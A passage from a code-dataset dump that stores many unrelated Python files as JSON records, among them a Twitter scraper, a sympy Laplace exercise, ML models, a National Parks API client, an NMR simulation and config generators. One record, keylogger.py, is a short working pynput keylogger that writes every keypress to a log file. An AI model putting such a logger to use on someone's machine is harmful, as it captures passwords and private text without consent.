not name in to_list:\n lists.append(name)\n\n url = \"https://api.twitter.com/1.1/lists/members/create_all.json\"\n params = {\"slug\": to_slug, \"owner_screen_name\": to_name}\n chunks = zip(*[iter(lists)]*100)\n for _tuple in chunks:\n params[\"user_id\"] = \",\".join(_tuple)\n #r = config.twitter.post(url, params=params)\n r = config_.sessions[to_name][\"apps\"].post(url, params=params)\n print(\"add users to the list\")\n # status_check(r)\n time.sleep(1)\n return lists\n\ndef get_searched_tweets(max_id=config_.status_max, since_id=0, q=\"\"):\n url = \"https://api.twitter.com/1.1/search/tweets.json\"\n\n params = {\n \"q\": q + \" include:retweets filter:media max_id:{0} since_id:{1}\".format(max_id - 1, since_id + 1),\n \"tweet_mode\": \"extended\",\n \"include_entities\": \"true\",\n \"count\": 100,\n \"f\": \"tweets\",\n \"result_type\": \"mixed\"\n }\n\n #res = config_.twitter.get(url, params=params)\n res = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n tweets = json.loads(res.text)[\"statuses\"]\n print(len(tweets))\n\n latest_id = 0\n oldest_id = config_.status_max\n for tweet in tweets:\n tweet_id = tweet[\"id\"]\n if latest_id == 0:\n latest_id = tweet_id\n oldest_id = tweet_id\n process_tweet(tweet)\n print('----------------------------------------------------')\n return latest_id,oldest_id,res\n\ndef get_universal_searched_tweets(max_id=config_.status_max, since_id=0, q=\"\"):\n url = \"https://api.twitter.com/1.1/search/universal.json\"\n params = {\n \"q\": q + \" max_id:{0} since_id:{1}\".format(max_id-1,since_id+1),\n \"tweet_mode\": \"extended\",\n \"include_entities\": \"true\",\n \"count\": 100\n }\n res = config_.twitter.get(url, params=params)\n tweets = json.loads(res.text)[\"modules\"]\n print(len(tweets))\n\n latest_id = 0\n oldest_id = config_.status_max\n for tweet in tweets:\n if not \"status\" in tweet.keys():\n continue\n tweet = tweet[\"status\"][\"data\"]\n tweet_id = tweet[\"id\"]\n if latest_id < tweet_id:\n latest_id = tweet_id\n oldest_id = tweet_id\n process_tweet(tweet)\n print('----------------------------------------------------')\n\n return latest_id,oldest_id,res\n\ndef search_tweet(query):\n r = db.query.find_one({\"query\": query})\n universal_max = 0\n search_max = 0\n if r != None:\n if \"universal_max\" in r.keys():\n universal_max = r[\"universal_max\"]\n if \"search_max\" in r.keys():\n search_max = r[\"search_max\"]\n\n # universeal search\n print(\"# search/universal\")\n latest_id = 0\n max = config_.status_max\n since = universal_max\n while True:\n tmp, max, res = get_universal_searched_tweets(max_id=max, since_id=since, q = query + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.query.update({\"query\": query},\n {\"$set\": {\"universal_max\": latest_id}},True)\n print(db.query.find_one({\"query\": query}))\n\n # public api search\n print(\"# search/tweets\")\n latest_id = 0\n max = config_.status_max\n since = search_max\n while True:\n tmp, max, res = get_searched_tweets(max_id=max, since_id=since, q = query + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.query.update({\"query\": query},\n {\"$set\": {\"search_max\": latest_id}},True)\n print(db.query.find_one({\"query\": query}))\n\ndef get_tweets_from_user(user_id=0, screen_name=\"\"):\n if user_id != 0:\n r = db.users.find_one({\"_id\":user_id})\n if r == None:\n get_user_detail(user_id)\n r = db.users.find_one({\"_id\":user_id})\n screen_name = r[\"screen_name\"]\n elif len(screen_name) != 0:\n user_id = name2id(screen_name)\n get_user_detail(user_id)\n r = db.users.find_one({\"_id\":user_id})\n screen_name = r[\"screen_name\"]\n else:\n print(\"set argument, user_id or screen_name\")\n return\n\n # universeal search\n print(\"# search/universal\")\n latest_id = 0\n max = config_.status_max\n if \"universal_max\" in r.keys():\n since = r[\"universal_max\"]\n else:\n since = 0\n while True:\n tmp,max,res = get_universal_searched_tweets(max_id = max, since_id = since, q = \"from:\" + screen_name + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n db.users.update({\"_id\": user_id},\n {\"$set\":{\"universal_max\":latest_id}})\n print(db.users.find_one({\"_id\": user_id}))\n\n # public api search\n print(\"# search/tweets\")\n latest_id = 0\n max = config_.status_max\n if \"search_max\" in r.keys():\n since = r[\"search_max\"]\n else:\n since = 0\n while True:\n tmp,max,res = get_searched_tweets(max_id = max, since_id = since, q = \"from:\" + screen_name + \" include:retweets filter:media\")\n if tmp == 0:\n break\n wait_limit_reset(res)\n if latest_id == 0:\n latest_id = tmp\n\n if latest_id != 0:\n res = db.users.update({\"_id\": user_id},\n {\"$set\":{\"search_max\":latest_id}})\n print(db.users.find_one({\"_id\": user_id}))\n\ndef get_list_timeline(screen_name, slug):\n url = \"https://api.twitter.com/1.1/lists/statuses.json\"\n max_id = config_.status_max\n latest_id = 0\n\n with open(\"{0}.{1}.txt\".format(screen_name,slug),\"r\") as f:\n since_id = int(f.readline())\n while True:\n # if True:\n params = {\n \"owner_screen_name\": screen_name, \n \"slug\": slug, \n \"since_id\": since_id + 1, \n \"max_id\": max_id - 1,\n \"count\": 200, \"tweet_mode\": \"extended\", \n \"include_rts\": \"true\"\n }\n try:\n res = config_.twitter.get(url, params=params)\n except Exception as e:\n print(e)\n time.sleep(10)\n continue\n\n # for key in res.headers.keys():\n # print(key + \" \" + res.headers[key])\n # print(time.time())\n # return\n tweets = json.loads(res.text)\n if isinstance(tweets,dict) and \"errors\" in tweets.keys():\n print(tweets)\n print(res.headers)\n wait_limit_reset(res)\n continue\n print(len(tweets))\n if len(tweets) < 1:\n break\n print()\n else:\n print(max_id)\n for tweet in tweets:\n max_id = tweet[\"id\"]\n if latest_id == 0:\n latest_id = max_id\n if \"retweeted_status\" in tweet.keys():\n tweet = tweet[\"retweeted_status\"]\n if \"quoted_status\" in tweet.keys():\n tweet = tweet[\"quoted_status\"]\n process_tweet(tweet)\n wait_limit_reset(res)\n print('----------------------------------------------------')\n if max_id != config_.status_max:\n with open(\"{0}.{1}.txt\".format(screen_name,slug),\"w\") as f:\n f.write(\"{0}\\n\".format(latest_id))\n return\n\ndef get_likes(screen_name):\n max_id = config_.status_max\n url = \"https://api.twitter.com/1.1/favorites/list.json\"\n params = {\"screen_name\": screen_name, \"count\": 200, \"tweet_mode\": \"extended\"}\n # ids = []\n while True:\n print('----------------------------------------------------')\n params[\"max_id\"] = max_id - 1\n # r = config_.twitter.get(url, params=params)\n print(url)\n print(params)\n try:\n r = config_.sessions[\"gc_yamm\"][\"apps\"].get(url, params=params)\n except:\n return\n j = json.loads(r.text)\n if len(j) < 1:\n break\n for tweet in j:\n max_id = tweet[\"id\"]\n process_tweet(tweet)\n print(r.headers)\n wait_limit_reset(r)\n time.sleep(1)\n\nif __name__ == '__main__':\n print(\"twitter\")\n","sub_path":"twitter.py","file_name":"twitter.py","file_ext":"py","file_size_in_byte":17025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"324927935","text":"from sympy import * \nfrom sympy.integrals.transforms import laplace_transform,inverse_laplace_transform\nfrom sympy.simplify.fu import L\ns,L=symbols('s,L')\nt=symbols('t',positive=True)\ny0=0\ny10=0\nLy2=s**2*L-s*y0-y10\nLy1=s*L-y0\nLy=L\nalgeq=Eq(Ly2-4*Ly,laplace_transform(cos(t),t,s,noconds=True))\nprint(\"18MEC24006-DENNY JOHNSON P\")\nprint(algeq)\nalgsoln=solve(algeq,L)[0]\nprint(algsoln)\nsoln=inverse_laplace_transform(algsoln,s,t,noconds=True)\nprint(\"Solution:y(t)=\",soln)","sub_path":"MT6P2/EX8_3.py","file_name":"EX8_3.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"329839716","text":"import os\n\nmodel = 'RNN'\ndept_id = 'FOODS_1'\nstore_id = 'CA_1'\ntraining_years = '2013 2014 2015'\ntest_year = '2016'\ngroup_type = 'global'\nparams_file = './RNN_params.json'\nlog_path = '../log/M5_' +\\\n model + '_' +\\\n dept_id + '_' +\\\n store_id + '_' +\\\n test_year + '_' +\\\n group_type + '.txt'\n\nos.system(\n 'python ' +\\\n 'Run_M5.py ' +\\\n '--model ' + model + ' ' +\\\n '--dept_id ' + dept_id + ' ' +\\\n '--store_id ' + store_id + ' ' +\\\n '--training_years ' + training_years + ' ' +\\\n '--test_year ' + test_year + ' ' +\\\n '--group_type ' + group_type + ' ' +\\\n '--params_file ' + params_file\n)","sub_path":"src/M5_RNN_FOODS_1_CA_1_2016_global.py","file_name":"M5_RNN_FOODS_1_CA_1_2016_global.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"386138819","text":"from pynput.keyboard import Key, Listener\nimport logging\n\nlog_directory = \"keylogger/\"\nlogging.basicConfig(filename=(log_directory + \"log_results.txt\"), level=logging.DEBUG,\n format='%(asctime)s : %(message)s')\n\n\ndef keypress(Key):\n logging.info(str(Key))\n\n\nwith Listener(on_press=keypress) as listener:\n listener.join()\n","sub_path":"keylogger/keylogger.py","file_name":"keylogger.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"620192730","text":"import itertools\n\nif __name__ == '__main__':\n n = int(input())\n\n def calculate_binary(n, l=[]):\n if n > 0:\n remainder = n % 2\n l.append(remainder)\n quotient = n // 2\n return calculate_binary(quotient)\n else:\n for k, g in itertools.groupby(l):\n print(\"key: '{}'--> group: {}\".format(k, len(list(g))))\n return \"Test\"\n\n\n\n print(calculate_binary(n))\n\n\n# if __name__ == '__main__':\n# n = int(input())\n#\n# def calculate_binary(n, l=[]):\n# if n > 0:\n# remainder = n % 2\n# l.append(remainder)\n# quotient = n // 2\n# return calculate_binary(quotient)\n# else:\n# # print(''.join(map(str, l[::-1])))\n# return count_con(l, len(l))\n#\n#\n# def count_con(ar, len):\n# count = 1\n# for i in range(len - 1):\n# # If consecutive elements are same\n# if ar[i] == 1 and ar[i] == ar[i + 1]:\n# count += 1\n# return count\n#\n#\n# print(calculate_binary(n))\n#\n#\n","sub_path":"day10_binary_numbers_hr.py","file_name":"day10_binary_numbers_hr.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206390567","text":"import torch\r\nimport torch.nn as nn\r\nimport torchvision.models as models\r\n\r\n\r\nclass EmbeddingNet(nn.Module):\r\n def __init__(self, n_channels, n_classes=2, n_vectors=2048, pretrained=True):\r\n super(EmbeddingNet, self).__init__()\r\n\r\n base_model = models.resnet50(pretrained=True)\r\n base_layers = list(base_model.children())\r\n\r\n if n_channels == 1:\r\n weights = base_layers[0].weight\r\n base_layers[0] = nn.Conv2d(1, 64, 7, stride=(2, 2), padding=(3, 3))\r\n base_layers[0].weight.data = torch.mean(weights, 1).unsqueeze(1)\r\n\r\n self.features = nn.Sequential(*base_layers[:-2])\r\n kernelCount = base_model.fc.in_features\r\n kernelCount2 = kernelCount\r\n if kernelCount2 > 2048:\r\n kernelCount2 = 2048\r\n self.fc = nn.Sequential(nn.Linear(kernelCount, kernelCount2),\r\n nn.Linear(kernelCount2, n_vectors),\r\n nn.Sigmoid())\r\n\r\n print(base_layers[0].weight.data.shape)\r\n print(list(self.features.children())[0])\r\n\r\n def forward(self, x):\r\n features = self.features(x)\r\n gaf = nn.AvgPool2d(features.shape[-1])\r\n out = gaf(features).squeeze()\r\n output = self.fc(out)\r\n\r\n return output\r\n\r\n def get_embedding(self, x):\r\n return self.forward(x)\r\n\r\n\r\nclass SiameseNet(nn.Module):\r\n def __init__(self, embedding_net):\r\n super(SiameseNet, self).__init__()\r\n self.embedding_net = embedding_net\r\n\r\n def forward(self, img1, img2):\r\n x = self.embedding_net(img1)\r\n x2 = self.embedding_net(img2)\r\n\r\n return x, x2\r\n\r\n def get_embedding(self, x):\r\n return self.embedding_net(x)\r\n\r\n\r\nclass TripletNet(nn.Module):\r\n def __init__(self, embedding_net):\r\n super(TripletNet, self).__init__()\r\n self.embedding_net = embedding_net\r\n\r\n def forward(self, img1, img2, img3):\r\n x = self.embedding_net(img1)\r\n x2 = self.embedding_net(img2)\r\n x3 = self.embedding_net(img3)\r\n\r\n return x, x2, x3\r\n\r\n def get_embedding(self, x):\r\n return self.embedding_net(x)\r\n\r\n","sub_path":"LManager/core/model/embeddingnet.py","file_name":"embeddingnet.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"507858714","text":"import os\nimport requests\nimport logging\nfrom dotenv import load_dotenv\nimport html\n\nfrom cache import cache, cache_list\nfrom datetime import datetime\nimport time\n\ncached_time = 26280000\n\nload_dotenv('.env')\n\nNTL_PARK_KEY = os.environ.get('NATLPARKS_KEY') #key stored in environment variable\nAPI_URL = 'https://developer.nps.gov/api/v1/parks'\n\n# Logger\nlogging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s %(message)s', datefmt='%d-%m-%y %H:%M:%S')\nlog = logging.getLogger('root')\n\n\ndef get_response(state_input):\n # Check if park_list is in cache; otherwise, make a request on the API\n # Indentifier for National Park API is \n cached_park_list = cache.fetch(state_input, cache_list.DataList)\n if cached_park_list:\n log.info('National Park API - Return from Cache')\n return cached_park_list\n else:\n log.info('National Park API - return from API call')\n \n try:\n query = {'stateCode': state_input, 'api_key': NTL_PARK_KEY}\n response = requests.get(API_URL, params=query)\n response.raise_for_status() # will raise an exception for 400(client) or 500(server) errors\n data = response.json()\n park_list = get_info(data)\n #send to the cache the park list(data), identifier(state_input) and expiry\n natlParks_data_list_for_cache = cache_list.DataList(park_list, state_input, now_plus_expiry())\n\n cache.add(natlParks_data_list_for_cache)\n return park_list\n except requests.exceptions.HTTPError as e:\n log.exception(e)\n raise e\n except Exception as ex:\n log.exception(ex)\n raise ex\n\n\ndef get_info(data):\n try:\n park_list = list()\n list_of_parks = data['data']\n for park in list_of_parks:\n park_list_w_info = dict()\n\n if park['fullName'] and park['latitude'] and park['longitude']:\n modified_name = html.unescape(park['fullName'])\n park_list_w_info['name'] = modified_name\n park_list_w_info['lat'] = park['latitude'] \n park_list_w_info['lon'] = park['longitude'] \n \n if park['designation']:\n park_list_w_info['designation'] = park['designation']\n if park['addresses']:\n park_list_w_info['city'] = park['addresses'][0]['city']\n\n park_list.append(park_list_w_info)\n return park_list\n \n except Exception as e:\n log.exception(e)\n raise e\n\n\ndef now_plus_expiry():\n now = int(time.time())\n return now + cached_time\n","sub_path":"application/api_calls/natlParks_api.py","file_name":"natlParks_api.py","file_ext":"py","file_size_in_byte":2678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"388363668","text":"#!/usr/bin/env python\n\nfrom __future__ import division\nimport jlabd\njlabd.init()\nfrom jlab import *\n\n#This script simulates the xy evolution of nuclear spin\n#Hence the vector is in 2D only. spin-lattice relaxation\n#is not implemented\n\ndef vec2agl(vec):\n r = vec[1] / vec[0]\n tt = abs(r)\n phi = angle(r)\n theta = arctan(tt) * 2\n\n return [phi, theta]\n\ndef agl2vec(agl):\n phi, theta = agl\n return [cos(theta / 2) * exp(-1j * phi / 2),\n sin(theta / 2) * exp(1j * phi / 2)]\n\ndef vecprop(vec, p):\n #implements larmor rotation\n return [vec[0] * exp(1j * p / 2),\n vec[1] * exp(-1j * p / 2)]\n\ndef aglprop(agl, p):\n return vec2agl(vecprop(agl2vec(agl), p))\n\ndef vecpulse(vec, p):\n #implements rotation caused by a pulse\n C = cos(p / 2)\n iS = 1j * sin(p / 2)\n return [vec[0] * C + vec[1] * iS,\n vec[0] * iS + vec[1] * C]\n\ndef aglpulse(agl, p):\n return vec2agl(vecpulse(agl2vec(agl), p))\n\ndef vecpi(vec):\n return vecpulse(vec, pi)\n\ndef aglpi(agl):\n return aglpulse(agl, pi)\n\ndef vecpi2(vec):\n return vecpulse(vec, pi / 2)\n\ndef aglpi2(agl):\n return aglpulse(agl, pi / 2)\n\ndef draw_ball(ax):\n phis = r_[0:2 * pi:200j]\n thetas = r_[0:pi:7j]\n for theta in thetas:\n ax.plot(sin(theta) * cos(phis), sin(theta) * sin(phis), cos(theta), 'b')\n phis = r_[0:2 * pi:7j]\n thetas = r_[0:pi:200j]\n for phi in phis:\n ax.plot(sin(thetas) * cos(phi), sin(thetas) * sin(phi),\n cos(thetas), 'b')\n\ndef drawagls(agls, name):\n phis = agls[0]\n thetas = agls[1]\n from mpl_toolkits.mplot3d import Axes3D\n fig = figure()\n ax = fig.add_subplot(111, projection='3d')\n title(name)\n draw_ball(ax)\n ax.plot(sin(thetas) * cos(phis), sin(thetas) * sin(phis), cos(thetas), 'og')\n savefig(name)\n\ndef sim(t1=2, tau=None, T=20, l=10000, repeat_num=7, omegamin=7000,\n omegamax=7010, pi2=pi / 2, pu1=None, pu2=None, fmt=\"pdf\"):\n #T = length of waiting time\n #t1 = tau\n #tau = timestep\n #l = number of omegas\n #repeat_num = number of repeated pulse sequences\n #(e.g. of 1 sequence = pi/2-tau-pi)\n if tau == None:\n tau = t1 / 20\n if pu1 == None:\n pu1 = pi2\n if pu2 == None:\n pu2 = pi2 * 2\n\n #number of markers in one step\n #i.e. interesting time count\n itc = 4\n\n omegas = r_[omegamin:omegamax:1j * l]\n angles = zeros([l, 2])\n tlst1 = arange(0, t1, tau)\n tlst2 = arange(0, T, tau)\n i3 = int(t1 / tau)\n i4 = int(2 * t1 / tau)\n lt = (3 + len(tlst1) + len(tlst2)) * repeat_num #total number of points\n l2 = len(tlst2)\n ts = zeros(lt) #array of times\n it = zeros(itc * repeat_num) #interesting time\n t = 0\n k = -1\n phis = zeros([l, lt])\n thetas = zeros([l, lt])\n for step in range(0, repeat_num):\n print(\"Step %d.\" % step)\n it[itc * step:itc * (step + 1)] = arange(itc) * t1 + t\n k += 1\n ts[k] = t\n print(\"\\tBefore 90.\")\n for i in range(0, l):\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_b90_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n k += 1\n ts[k] = t\n print(\"\\tAfter 90\")\n for i in range(0, l):\n angles[i] = aglpulse(angles[i], pu1)\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_a90_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n\n print(\"\\tBefore 180.\")\n for dt in tlst1:\n k += 1\n ts[k] = t + dt\n for i in range(0, l):\n angles[i] = aglprop(angles[i], tau * omegas[i])\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_b180_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n t += t1\n k += 1\n ts[k] = t\n print(\"\\tAfter 180.\")\n for i in range(0, l):\n angles[i] = aglpulse(angles[i], pu2)\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_a180_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, step, fmt))\n\n print(\"\\tWaiting.\")\n for j in range(l2):\n dt = tlst2[j]\n if j in [i3, i4]:\n j0 = 3 if j == i3 else 4\n drawagls(angles.T,\n \"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f_t%d_%d.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax,\n pu1 / pi * 2, pu2 / pi * 2, j0, step, fmt))\n\n k += 1\n ts[k] = t + dt\n for i in range(0, l):\n angles[i] = aglprop(angles[i], tau * omegas[i])\n phis[i][k] = angles[i][0]\n thetas[i][k] = angles[i][1]\n t += T\n\n # figure()\n # for i in range(0, l):\n # plot(ts, phis[i])\n # plot(ts, [0] * len(ts), 'o')\n # title(r\"$\\phi$\")\n # figure()\n # for i in range(0, l):\n # plot(ts, thetas[i])\n # plot(ts, [0] * len(ts), 'o')\n # title(r\"$\\theta$\")\n figure()\n xs = (sin(thetas) * cos(phis)).mean(axis=0)\n ys = (sin(thetas) * sin(phis)).mean(axis=0)\n rs = sqrt(xs**2 + ys**2)\n plot(ts, rs)\n plot(it, [0] * len(it), 'o')\n title(r\"Signal\")\n savefig(\"sim/%d_%d_%d_%d_%d_%d_%.2f_%.2f.%s\" %\n (t1, T, l, repeat_num, omegamin, omegamax, pu1 / pi * 2,\n pu2 / pi * 2, fmt))\n close()\n\n@automain\ndef main():\n sim(pu2=0, fmt='png')\n #sim(repeat_num=5, fmt='png')\n #sim(pi2=pi / 2 - .2, repeat_num=2, T=40)\n #for pi2 in r_[pi / 2 - .2:pi / 2 + .2:10j]:\n # sim(pi2=pi2)\n","sub_path":"nmr/sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":6134,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"300927538","text":"from DataBase.db_by_python import ToMysqlByPython\nfrom Race.get_race_data import Races\nfrom ExcuteProcess.race.data import Datas\nfrom ExcuteProcess.race.process import SearchRacesProcess\nfrom ExcuteProcess.race.process import RaceDetailsProcess\nfrom StringWords.ather import Message\nfrom logs.log_write import Logs\n\n\ndef main():\n\n logs = Logs()\n logs.write_start()\n sql = ToMysqlByPython()\n OBJECT_MYSQL, connection_result = sql.connects()\n\n if connection_result is True:\n print(Message.success_connection)\n logs.write_message(Message.success_connection)\n else:\n print(Message.error_connection)\n logs.write_message(Message.error_connection)\n return\n\n year_1986_to_2020 = Datas.year_range_1986_to_2020\n print(year_1986_to_2020)\n month_1_to_12 = Datas.month_range_1_to_12\n print(month_1_to_12)\n jyo_1_to_10 = Datas.jyo_range_1_to_10\n print(jyo_1_to_10)\n url = \"https://db.netkeiba.com/?pid=race_search_detail\"\n race_list = SearchRacesProcess(url, OBJECT_MYSQL)\n for year in year_1986_to_2020:\n for month in month_1_to_12:\n for jyo in jyo_1_to_10:\n race_list.set_search_info(year, month, jyo)\n race_urls = race_list.get_data()\n # テストprint\n if race_urls is not None:\n for url in race_urls:\n if url is not None:\n print(url)\n race_details_process = RaceDetailsProcess(url, OBJECT_MYSQL)\n race_details_process.get_data()\n # Racesへ登録処理\n day_at_race, place_id, times, day, name = race_details_process.get_race_info()\n class_id = race_details_process.get_class()\n type_id, distance_id, weather_id = race_details_process.get_race_status()\n race_details_process.sql_process_race(\n name, class_id, day_at_race,\n place_id, day, weather_id, distance_id, type_id)\n\n for horse_url in race_details_process.get_horses():\n print(horse_url)\n details = race_details_process.edit_race_details(\n race_details_process.get_race_detail()\n )\n for detail in details:\n race_details_process.sql_process_race_details(detail)\n refund_detail = race_details_process.get_refund()\n race_details_process.sql_process_betting_detail(refund_detail)\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"Race/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"343028744","text":"from django.db import connection\nfrom django.views.generic import ListView\n\nfrom charts.models import CurrencyValue, Trade\n\n\nclass TradeValueTable(ListView):\n model = Trade\n ordering = '-date_time'\n paginate_by = 50\n\n def get_context_data(self, **kwargs):\n context = super(TradeValueTable, self).get_context_data(**kwargs)\n new_object_list = []\n for trade in context['object_list']:\n if not trade.date_time:\n continue\n\n trade.adjusted_amount = trade.amount\n trade.quote_price = 1\n if trade.pair.quote_currency.get_usd_value:\n closest_value = CurrencyValue.objects.get_closest_to(\n trade.pair.quote_currency,\n trade.date_time\n ).usd_value\n trade.quote_price = closest_value\n if trade.amount and closest_value:\n trade.adjusted_amount = trade.amount * closest_value\n\n trade.adjusted_rate = trade.rate\n trade.adjusted_total = trade.total\n trade.base_price = 1\n if trade.pair.base_currency.get_usd_value:\n closest_value = CurrencyValue.objects.get_closest_to(\n trade.pair.base_currency,\n trade.date_time\n ).usd_value\n trade.base_price = closest_value\n if trade.rate and closest_value:\n trade.adjusted_rate = trade.rate * closest_value\n if trade.total and closest_value:\n trade.adjusted_total = trade.total * closest_value\n\n new_object_list.append(trade)\n\n context['object_list'] = new_object_list\n context['chain'] = connection.tenant\n return context\n","sub_path":"charts/views/trade_value_table.py","file_name":"trade_value_table.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"569414530","text":"#! python3\n# how much can i spend today?!\n\n\nhouse = 280000\ndays = 30\n\n\nbalance = int(input('Enter your present amount of money: \\n'))\ncash = int(input('Do you have cash? how much: \\n'))\ntoday = int(input('Enter today\\'s day: '))\ns_other = 0\nother = int(input('Enter your\\'s other expenses\\n'))\nwhile other:\n s_other += other\n other = int(input('One more?\\n'))\n\ntotal = (balance - house - s_other + cash)/(days-today)\n\nprint('Well you cans spend today - ' + str(total))\n","sub_path":"hohoo/hohoo.py","file_name":"hohoo.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"456993770","text":"import logging\nimport os\nimport sys\n\nsys.path.append('../../../')\n\n# создаём формировщик логов (formatter):\nclient_formatter = logging.Formatter('%(asctime)s %(levelname)s %(filename)s %(message)s')\n\n# Подготовка имени файла для логирования\npath = os.path.dirname(os.path.abspath(__file__))\npath = os.path.join(path, 'client.log')\n\n# создаём потоки вывода логов\nsteam = logging.StreamHandler(sys.stderr)\nsteam.setFormatter(client_formatter)\nsteam.setLevel(logging.ERROR)\nlog_file = logging.FileHandler(path, encoding='utf8')\nlog_file.setFormatter(client_formatter)\n\n# создаём регистратор и настраиваем его\nclient_log = logging.getLogger('client_log')\nclient_log.addHandler(steam)\nclient_log.addHandler(log_file)\nclient_log.setLevel(logging.DEBUG)\n\n# отладка\nif __name__ == '__main__':\n client_log.critical('Test critical event')\n client_log.error('Test error ivent')\n client_log.debug('Test debug ivent')\n client_log.info('Test info ivent')","sub_path":"сhatclient/Log/client_log_config.py","file_name":"client_log_config.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"132108840","text":"import os\n\nconfig = \"\"\"\n[application]\nenable-perf-measurement=0\nperf-measurement-interval-sec=10000000\n#gie-kitti-output-dir=streamscl\n\n[tiled-display]\nenable=0\nrows=1\ncolumns=1\nwidth=1280\nheight=720\ngpu-id=0\n\n[source0]\nenable=1\n#Type - 1=CameraV4L2 2=URI 3=MultiURI\ntype=3\nnum-sources=1\nuri={uri}\nlatency={latency}\ngpu-id=0\n\n[streammux]\ngpu-id=0\nbatch-size={batch}\nbatched-push-timeout=1000\n## Set muxer output width and height\nwidth={width}\nheight={height}\ncuda-memory-type=1\n\n[sink0]\nenable=1\n#Type - 1=FakeSink 2=EglSink 3=File 4=RTSP Streaming\ntype=4\nsync=0\nsource-id=0\ngpu-id=0\ncodec=1\nbitrate={bitrate}\ncuda-memory-type=1\nrtsp-port={outstream_port}\n\n[osd]\nenable=1\ngpu-id=0\nborder-width=1\ntext-size=15\ntext-color=1;1;1;1;\ntext-bg-color=0.3;0.3;0.3;1\nfont=Arial\nshow-clock=0\nclock-x-offset=800\nclock-y-offset=820\nclock-text-size=12\nclock-color=1;0;0;0\n\n[primary-gie]\nenable=1\ngpu-id=0\nbatch-size={batch}\ngie-unique-id=1\ninterval=0\nlabelfile-path=labels.txt\nmodel-engine-file=/model/openpose_int8.trt\nconfig-file=config_infer_primary_Openpose.txt\n\"\"\"\n\nconfig2 = \"\"\"\n[property]\ngpu-id=0\nnet-scale-factor=1\n#0=RGB, 1=BGR\nmodel-color-format=0\nmodel-engine-file=openpose_int8.trt\nbatch-size={batch}\n## 0=FP32, 1=INT8, 2=FP16 mode\nnetwork-mode=1\nnum-detected-classes=21\ninterval=0\ngie-unique-id=1\nparse-func=0\nis-classifier=0\noutput-blob-names=Openpose/concat_stage7\nparse-bbox-func-name=NvDsInferParseCustomOpenPose\ncustom-lib-path=nvdsinfer_openpose/libnvdsinfer_openpose.so\n\n[class-attrs-all]\nthreshold=0.5\n#eps=0.1\n#group-threshold=2\nroi-top-offset=0\nroi-bottom-offset=0\ndetected-min-w=0\ndetected-min-h=0\ndetected-max-w=0\ndetected-max-h=0\n\"\"\"\n\nif __name__ == \"__main__\":\n uri = os.environ[\"INPUT_URI\"]\n batch = os.environ.get(\"BATCH_SIZE\")\n \n bitrate = os.environ.get(\"BITRATE\")\n bitrate = bitrate if bitrate is not None else 10000\n\n outstream_port = os.environ.get(\"OUTSTREAM_PORT\")\n outstream_port = outstream_port if outstream_port is not None else 1234\n\n latency = os.environ.get(\"LATENCY\")\n latency = latency if latency is not None else 200\n\n width = os.environ.get(\"OUTPUT_WIDTH\")\n width = width if width is not None else 800\n\n height = os.environ.get(\"OUTPUT_HEIGHT\")\n height = height if height is not None else 600\n\n with open(\"../openpose_config.txt\", mode = \"a\") as f:\n f.write(\n config.format(\n uri=uri, \n bitrate=bitrate, \n outstream_port=outstream_port,\n batch=batch,\n width=width,\n height=height,\n latency=latency\n )\n )\n 